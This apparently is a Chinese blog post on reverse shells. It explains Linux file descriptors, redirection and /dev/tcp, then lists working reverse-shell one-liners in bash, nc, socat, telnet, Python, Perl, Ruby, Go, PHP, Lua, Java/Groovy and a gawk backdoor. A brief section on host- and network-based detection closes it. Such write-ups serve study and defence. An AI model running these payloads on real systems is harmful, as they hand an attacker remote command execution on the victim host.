10om
10om
发布于 2024-11-11 / 30 阅读
0
0

反弹shell

资料:

反弹Shell原理及检测技术研究

1. 描述

Shell攻击者指定服务端,并将需要受害服务器执行的命令(标准输入、标准输出、标准错误等)重定向到该服务端。受害服务器主动连接攻击者的服务端程序,攻击者的服务端通过监听来自受害服务器的请求,对目标服务器下发指令并获取执行结果

2. 本质

控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端

拆分成原子概念就是网络通信(重定向)+命令执行

网络通信:

linux文件描述符可以理解为linux跟踪打开文件而分配的一个数字句柄,这个数字本质上是一个文件句柄,通过句柄就可以实现文件的读写操作。

当Linux启动的时候会默认打开三个文件描述符,分别是:

  • 标准输入:standard input 0 (默认设备键盘)

  • 标准输出:standard output 1(默认设备显示器)

  • 错误输出:error output 2(默认设备显示器)

  • 进程启动后再打开新的文件,描述符会自动依次增加。每一个新进程都会继承其父进程的文件描述符,因此所有的shell命令(本质上也是启动新进程),都会默认有三个文件描述符。

Linux一切皆文件,键盘、显示器设备也是文件,因此他们的输入输出也是由文件描述符控制。如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

重定向:

  • 输入重定向

    • “<”

    • “<<”

  • 输出重定向

    • “>”

    • “>>”

  • 标准输出与标准错误输出重定向

    • &> word.txt

    • >& word.txt

    • > word.txt 2>&1

      • 说明:将标准输出与标准错误输出都定向到word.txt代表的文件(以写的方式打开)

  • 文件描述符的复制

    • [n]<&[m] 将文件描述符 n 作为输入,并且从文件描述符 m 中获取输入数据

    • [n]>&[m] 将文件描述符 n 作为输出,并且输出到文件描述符 m

  • exec 绑定重定向

    • exec [n] <> file/[n] exec [n] <> file 将文件 file 同时打开为输入和输出,使用文件描述符 [n]

    • exec [n] < file/[n] 将文件 file 作为输入打开,使用文件描述符 [n] 进行读取操作

    • exec [n] > file/[n] 将文件 file 作为输出打开,使用文件描述符 [n] 进行写入操作 (文件的内容会被覆盖,除非使用 >> 来追加)

bash在执行一条指令的时候,首先会检查命令中是否存在文件描述符重定向的符号,如果存在那么首先将文件描述符重定向(预处理),然后在把重定向去掉,继续执行指令。如果指令中存在多个重定向,重定向从左向右解析

/dev/tcp,打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据

3.反弹Shell攻击组合方式

  • “重定向符”+"/dev/tcp网络通信"反弹Shell

  • bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

  • exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done

打开一个 TCP 连接到 IP 地址 192.168.146.129 的端口 2333,并将其分配给文件描述符 5

  • 第三方软件内置“socket通信”+“指令”实现反弹shell

    • nc -e /bin/sh 192.168.146.129 2333

    • telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 555

    • socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999

  • “管道符”+ “socket网络通信”实现反弹shell

    • nc 192.168.43.146 7777 | /bin/bash | nc 192.168.43.146 8888

    • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

创建一个命名管道。命名管道允许两个进程通过它进行通信,其中一个进程可以向管道写入数据,而另一个进程可以从管道读取数据

  • 脚本语言反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
perl -e 'use Socket;$i=”10.211.55.2";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)’
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
php –r  'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/7777")’
 lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
#!/usr/bin/gawk -f
BEGIN {

 Port = 8080

 Prompt = "bkd> "

 Service = "/inet/tcp/" Port "/0/0"

 while (1) {

 do {

 printf Prompt |& Service

 Service |& getline cmd

 if (cmd) {

 while ((cmd |& getline) > 0)

 print $0 |& Service

 close(cmd)

 }

 } while (cmd != "exit")

 close(Service)

 }

}

4.反弹Shell检测方案

hids接入数据具有局限性

  • file descriptor 异常检测(为目前hids检测原理,最有效但无法实施)

    • 检测 file descriptor是否指向一个socket/pipe

  • 命令行特征检测、 (可实施)

    • 基于进程创建时的命令行检测,可检测到执行反弹shell但未连接成功的行为

  • net_connect+异常shell启动 检测(可实施)

    • 通过net_connect数据中pname、ip、cmd等筛选可疑行为

  • 基于流量检测(nids)


评论